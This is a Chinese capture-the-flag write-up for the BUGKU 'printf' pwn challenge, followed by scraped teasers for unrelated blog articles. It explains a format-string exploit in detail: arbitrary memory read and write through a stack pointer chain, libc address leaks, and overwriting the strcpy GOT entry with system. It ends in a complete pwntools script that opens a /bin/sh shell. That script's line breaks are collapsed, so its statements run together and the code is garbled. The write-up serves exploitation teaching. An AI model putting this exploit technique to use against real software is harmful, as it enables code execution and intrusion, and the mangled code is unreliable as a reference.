BUGKU printf
整体思路
实现循环-->获取libc版本和system函数地址->将strcpy的got表项修改为system并获得shell
第一步:实现循环
从汇编语句可以看出,在每次循环结束时若0x201700处的值是否大于1则会继续循环。
encode1会将编码后的结果保存至0x2015c0处,而encode 1的编码逻辑比较简单,key的长度为0时明文和密文是一样的,因此只需传入b'\x00'为key以及写入一段长的内容使得0x201700的值是一个比较大的正整数即可。
第二步:获取libc版本和system函数地址
要获取libc版本,需要找到部分libc中的函数的地址,例如puts,read,printf,本题我们想办法找到puts和read函数的地址。
注意到,encode2在末尾调用了printf,且将密文作为唯一字符串传参,这意味着存在格式化漏洞。格式化漏洞的题目在首个参数位于栈上时并不困难,但encode2的密文并不是保存在栈上。
万变不离其宗:printf任意地址打印或写入的前提是我们能够把任意值写入到栈上的某个地方。
此外,由于每次循环只能printf一次,所以要注意这个保存任意地址的栈上的某个地方不能在下次调用printf前被其他内容覆盖掉。建议是从main函数栈尾(rbp)往上找,通常来说这段栈在main函数结束前不会被覆盖。(当然你也可以随便找一个会被回收的地方,然后赌下次调用前值是否被覆盖)
翻遍了代码,我没有找到一个能够直接在main的rbp往上的地方写入任意值的方法。
那么我们只能曲线救国,通常当字符串不在栈上时,要想往栈上某个地方写入任意值,我们就要找栈中是否存在一个超过3个元素的地址链条:p1-->p2-->p3,p2和p3要满足在printf调用后到下次调用前不被别的值覆盖。
通过调试发现,encode2函数中,printf的第14个参数(记作$14)正好指向$50,而$50正好指向$54,更有趣的是$50中保存的是main函数的rbp寄存器的值,这意味着$54是main函数的栈尾。显然,$50和$54在循环间是不会被覆盖的。
现在我们有了这个链条,具体要怎么往栈上某处写入任意值呢?
这个某处就是p3,这题是$54。
假设此时$54为0x0, $50处为0x7fff6550
我要往$54写入0x1234567887654321,假设此时$50处为0x7fff6550
首先使用"%87c%14$hhn",$50的最低字节会被写入0x57从而变成0x7fff6557
然后使用"%18c%50$hhn",$54的最高字节会被写入0x12从而变成0x1200000000000000
接着使用"%86c%14$hhn",$50的最低字节会被写入0x56从而变成0x7fff6556
然后使用"%52c%14$hhn",$54的最高字节会被写入0x34从而变成0x1234000000000000
如此往复,直到把$54写成0x1234567887654321为止。
既然能实现$54的任意内容读写,那我们当然也能实现任意地址读了,只需通过上述方法往$54处写入任意地址,然后用"%54$s"即可读出。那如何实现任意地址写呢?假设我们要往0x1234处写入0x5678,首先先通过上述方法把$54写成0x1234,然后通过$50不断修改$54的最低字节并通过$54修改对应内存即可。
通过上述方法,我们可以轻易打印出puts和read函数的地址,然后利用LibcSearcher函数搜索libc版本并获取system地址。
第三步:将strcpy的got表项修改为system并获取shell
为什么是修改strcpy?
考虑到本题字符串不在栈上,对任意地址的写入要通过多个循环完成,这意味着用于必须选择一个不在这些循环中被调用到的函数,而puts,read,printf都不行,同时我们还必须能够传入想要的字符串到rdi中,正好encode3中的strcpy满足了这一条件。
源码如下:
需要注意的是,不同系统中的p1-->p2-->p3链条可能存在差异,博主测试发现Ubuntu 24.04中的链条是$22->$50->$54,而centos 8上则是$14->$50->$54,BUGKU官方靶机也是$14->$50->$54。
from pwn import *
from LibcSearcher import *context(os = 'linux', arch = 'amd64')
sh = process('./pwn6')
# sh = remote('114.67.175.224', 18702)# 构建encode2的密文->明文映射
c2m_v2 = {}
for a in range(256):c2m_v2[((a & 192) >> 6) + (a & 48) * 4 + (a & 12) * 4 + (a & 3) * 4] = a# 构建encode3密文->明文映射
c2m_v3 = {}
for a in range(256):k = ((a & 192) >> 2) + ((a & 48) >> 2) + ((a & 12) >> 2) + a * 64c2m_v3[k%256] = a# 写入201700处实现无限重入
sh.sendlineafter('choice:\n', '1')
sh.sendafter('keys?\n', b'\x00') # 使得密文等于明文
sh.sendafter('to encode:\n', b'\x00' * 0x140 + p64(0x01111111))def get_ptr(n):sh.sendlineafter('choice:\n', '2')cipher = '%' + str(n) + '$p\x00'plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])sh.sendafter('to encode:\n', plain)sentence = sh.recvuntil('nice encoding', drop=True)addr = b'0x' + sentence.split(b'0x')[-1]addr = addr.decode('utf-8')addr = int(addr, 16)return addrdef get_value(n):sh.sendlineafter('choice:\n', '2')cipher = '%' + str(n) + '$s\x00'plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])sh.sendafter('to encode:\n', plain)sentence = sh.recvuntil('nice encoding', drop=True)value = u64(sentence[-6:].ljust(8, b'\x00'))return valuedef write_to_54(addr):content_50 = get_ptr(50);for j in range(8):i = 7 - j# write last byte of %50 from %14last_byte = content_50 % 0x100 + ish.sendlineafter('choice:\n', '2')cipher = '%' + str(last_byte) + 'c%14$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# write i-th byte of %54 from %50addr_byte = (addr & (0xff << (8*i))) >> (8*i)sh.sendlineafter('choice:\n', '2')cipher = '%' + str(addr_byte) + 'c%50$hhn\x00'if addr_byte == 0:cipher = '%50$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)def write_from_54(addr, value):for j in range(8):i = 7 - j# write last byte of %54 from %50last_byte = addr % 0x100 + ish.sendlineafter('choice:\n', '2')cipher = '%' + str(last_byte) + 'c%50$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# write i-th byte of addr from %54value_byte = (value & (0xff << (8*i))) >> (8*i)sh.sendlineafter('choice:\n', '2')cipher = '%' + str(value_byte) + 'c%54$hhn\x00'if value_byte == 0:cipher = '%54$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# 任意地址写
def modify(addr, value):# value至少得有六字节write_to_54(addr)write_from_54(addr, value)# 任意地址读
def get_value_of(addr):write_to_54(addr)return get_value(54)# PIE基地址
base_addr = get_ptr(51) - 0xe5b# 获取puts和read函数的地址
puts_got = base_addr + 0x201550
read_got = base_addr + 0x201560puts_addr = get_value_of(puts_got)
read_addr = get_value_of(read_got)# 搜索libc版本
libc = LibcSearcher("read", read_addr)
libc.add_condition("puts", puts_addr)# 获取system函数地址
libc_base_addr = read_addr - libc.dump('read')
system_addr = libc_base_addr + libc.dump("system")
print('system_addr', hex(system_addr))# printf修改strcpy的got使得指向system
strcpy_got = base_addr + 0x201580
modify(strcpy_got, system_addr)# 获取shell
sh.sendlineafter('choice:\n', '3')
cipher = '/bin/sh\x00'
plain = ''.join([ chr(c2m_v3[ord(k)]) for k in cipher ])
sh.sendafter('to encode:\n', plain)
sh.recv()
sh.interactive()
相关文章:
BUGKU printf
整体思路 实现循环-->获取libc版本和system函数地址->将strcpy的got表项修改为system并获得shell 第一步:实现循环 从汇编语句可以看出,在每次循环结束时若0x201700处的值是否大于1则会继续循环。 encode1会将编码后的结果保存至0x2015c0处&am…...

深度学习:梯度下降法
损失函数 L:衡量单一训练样例的效果。 成本函数 J:用于衡量 w 和 b 的效果。 如何使用梯度下降法来训练或学习训练集上的参数w和b ? 成本函数J是参数w和b的函数,它被定义为平均值; 损失函数L可以衡量你的算法效果&a…...

`console.log`调试完全指南
大家好,这里是 Geek技术前线。 今天我们来探讨 Console.log() 的一些优点。并分析一些基本概念和实践,这些可以让我们的调试工作变得更加高效。 理解前端 log 与后端 log 的区别 前端 log 与后端 log 有着显著的不同,理解这一点至关重要。…...

ROS VSCode调试方法
VSCode 调试 Ros文档 1.编译参数设置 cd catkin_ws catkin_make -DCMAKE_BUILD_TYPEDebug2.vscode 调试插件安装 可在扩展中安装(Ctrl Shift X): 1.ROS 2.C/C 3.C Intelliense 4.Msg Language Support 5.Txt Syntax 3.导入已有或者新建ROS工作空间 3.1 导入工作…...

16 —— Webpack多页面打包
需求:把 黑马头条登陆页面-内容页面 一起引入打包使用 步骤: 准备源码(html、css、js)放入相应位置,并改用模块化语法导出 原始content.html代码 <!DOCTYPE html> <html lang"en"><head&…...

微服务即时通讯系统的实现(服务端)----(3)
目录 1. 消息存储子服务的实现1.1 功能设计1.2 模块划分1.3 模块功能示意图1.4 数据管理1.4.1 数据库消息管理1.4.2 ES文本消息管理 1.5 接口的实现1.5.1 消息存储子服务所用到的protobuf接口实现1.5.2 最近N条消息获取接口实现1.5.3 指定时间段消息搜索接口实现1.5.4 关键字消…...
.net6.0 mvc 传递 model 实体参数(无法对 null 引用执行运行时绑定)
说一下情况: 代码没问题,能成功从数据库里查到数据,能将数据丢给ViewBag.XXXX, 在View页面也能获取到 ViewBag.XXXX的值,但是发布到线上后报这个错: Microsoft.CSharp.RuntimeBinder.RuntimeBinderException: 无法对 …...
VUE 入门级教程:开启 Vue.js 编程之旅
一、Vue.js 简介 Vue.js 是一套构建用户界面的渐进式 JavaScript 框架。它专注于视图层的开发,能够轻松地与其他库或现有项目进行整合。Vue.js 的核心库只关注视图层,通过简洁的 API 实现数据绑定和 DOM 操作的响应式更新,让开发者可以高效地…...

Ubantu系统docker运行成功拉取失败【成功解决】
解决docker运行成功拉取失败 失败报错 skysky-Legion-Y7000-IRX9:~$ docker run hello-world docker: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Head “http://%2Fvar%2Frun%2Fdocker.sock/_ping”: dial uni…...

mvn-mac操作小记
1.安装brew 如果报错,Warning: /opt/homebrew/bin is not in your PATH. vim ~/.zshrc,最后一行追加 export PATH“/opt/homebrew/bin:$PATH” source ~/.zshrc 2.安装brew install maven mvn -version查看路径 Maven home: /opt/homebrew/Cellar/mav…...

机器学习——生成对抗网络(GANs):原理、进展与应用前景分析
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一. 生成对抗网络的基本原理二. 使用步骤2.1 对抗性训练2.2 损失函数 三. GAN的变种和进展四. 生成对抗网络的应用五. 持续挑战与未来发展方向六. 小结 前言 生…...

「Mac畅玩鸿蒙与硬件33」UI互动应用篇10 - 数字猜谜游戏
本篇将带你实现一个简单的数字猜谜游戏。用户输入一个数字,应用会判断是否接近目标数字,并提供提示“高一点”或“低一点”,直到用户猜中目标数字。这个小游戏结合状态管理和用户交互,是一个入门级的互动应用示例。 关键词 UI互…...

Ps:存储 Adobe PDF
在 Adobe Photoshop 中,将图像保存为 PDF 文件时, 会弹出“存储 Adobe PDF” Save Adobe PDF对话框。在此对话框中提供了多个选项,用于控制 PDF 文件的输出,包括一般设置(选择预设、兼容性和保留编辑功能)、…...

DDR3保姆级使用教程:ZYNQ 7010
内容:使用DDR3 IP核,向DDR3写入数据,然后再读出数据,通过串口打印。 设备:ZYNQ 7010 xc7z010clg-400-1。软件VIVADO 2018.3 (1)工程模块:一个写FIFO,一个读FIFO。一个ZYNQ IP核&am…...

OpenCV 模板匹配全解析:从单模板到多模板的实战指南
简介:本文深入探讨 OpenCV 中的模板匹配技术。详细介绍构建输入图像与模板图像的步骤,包括读取、截取、滤波与存储等操作。剖析 cv2.matchTemplate 语法及其参数含义,阐述不同匹配方法下结果值的意义。同时讲解 cv2.minMaxLoc 语法࿰…...

【JAVA] 杂谈: java中的拷贝(克隆方法)
这篇文章我们来介绍什么是拷贝,并且实现浅拷贝到深拷贝。 目录 一、浅拷贝 1.1 clone 方法 1.2 实现浅拷贝: 1.2.1 重写 clone方法 1.2.2 实现接口 Cloneable 1.2.3 调用克隆方法 1.2.4 原理图: 1.3 浅拷贝的不足 1.3.1 增加引用…...

使用 PDF API 合并 PDF 文件
内容来源: 如何在 Mac 上合并 PDF 文件 1. 注册与认证 您可以注册一个免费的 ComPDFKit API 帐户,该帐户允许您在 30 天内免费无限制地处理 1,000 多个文档。 ComPDFKit API 使用 JSON Web Tokens 方法进行安全身份验证。从控制面板获取您的公钥和密钥&…...
关于BeanUtils.copyProperties是否能正常复制字段【详细版】
话不多说!先总结: 1、字段相同,类型不同(不复制,也不报错) 2、子类父类 (1)子类传给父类(可以正常复制) (2)父类传给子类(可以正常复制) 3、子类父类&#x…...
爬虫框架快速入门——Scrapy
适用人群:零基础、对网络爬虫有兴趣但不知道从何开始的小白。 什么是 Scrapy? Scrapy 是一个基于 Python 的网络爬虫框架,它能帮助你快速爬取网站上的数据,并将数据保存到文件或数据库中。 特点: 高效:支…...

鸿蒙开发-HMS Kit能力集(应用内支付、推送服务)
1 应用内支付 开发步骤 步骤一:判断当前登录的华为账号所在服务地是否支持应用内支付 在使用应用内支付之前,您的应用需要向IAP Kit发送queryEnvironmentStatus请求,以此判断用户当前登录的华为帐号所在的服务地是否在IAP Kit支持结算的国…...
HTML 语义化
目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案: 语义化标签: <header>:页头<nav>:导航<main>:主要内容<article>&#x…...

CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...

如何在最短时间内提升打ctf(web)的水平?
刚刚刷完2遍 bugku 的 web 题,前来答题。 每个人对刷题理解是不同,有的人是看了writeup就等于刷了,有的人是收藏了writeup就等于刷了,有的人是跟着writeup做了一遍就等于刷了,还有的人是独立思考做了一遍就等于刷了。…...

云原生玩法三问:构建自定义开发环境
云原生玩法三问:构建自定义开发环境 引言 临时运维一个古董项目,无文档,无环境,无交接人,俗称三无。 运行设备的环境老,本地环境版本高,ssh不过去。正好最近对 腾讯出品的云原生 cnb 感兴趣&…...
Mysql8 忘记密码重置,以及问题解决
1.使用免密登录 找到配置MySQL文件,我的文件路径是/etc/mysql/my.cnf,有的人的是/etc/mysql/mysql.cnf 在里最后加入 skip-grant-tables重启MySQL服务 service mysql restartShutting down MySQL… SUCCESS! Starting MySQL… SUCCESS! 重启成功 2.登…...
解决:Android studio 编译后报错\app\src\main\cpp\CMakeLists.txt‘ to exist
现象: android studio报错: [CXX1409] D:\GitLab\xxxxx\app.cxx\Debug\3f3w4y1i\arm64-v8a\android_gradle_build.json : expected buildFiles file ‘D:\GitLab\xxxxx\app\src\main\cpp\CMakeLists.txt’ to exist 解决: 不要动CMakeLists.…...
Python实现简单音频数据压缩与解压算法
Python实现简单音频数据压缩与解压算法 引言 在音频数据处理中,压缩算法是降低存储成本和传输效率的关键技术。Python作为一门灵活且功能强大的编程语言,提供了丰富的库和工具来实现音频数据的压缩与解压。本文将通过一个简单的音频数据压缩与解压算法…...

热门Chrome扩展程序存在明文传输风险,用户隐私安全受威胁
赛门铁克威胁猎手团队最新报告披露,数款拥有数百万活跃用户的Chrome扩展程序正在通过未加密的HTTP连接静默泄露用户敏感数据,严重威胁用户隐私安全。 知名扩展程序存在明文传输风险 尽管宣称提供安全浏览、数据分析或便捷界面等功能,但SEMR…...
JavaScript 标签加载
目录 JavaScript 标签加载script 标签的 async 和 defer 属性,分别代表什么,有什么区别1. 普通 script 标签2. async 属性3. defer 属性4. type"module"5. 各种加载方式的对比6. 使用建议 JavaScript 标签加载 script 标签的 async 和 defer …...
OpenGL-什么是软OpenGL/软渲染/软光栅?
软OpenGL(Software OpenGL)或者软渲染指完全通过CPU模拟实现的OpenGL渲染方式(包括几何处理、光栅化、着色等),不依赖GPU硬件加速。这种模式通常性能较低,但兼容性极强,常用于不支持硬件加速…...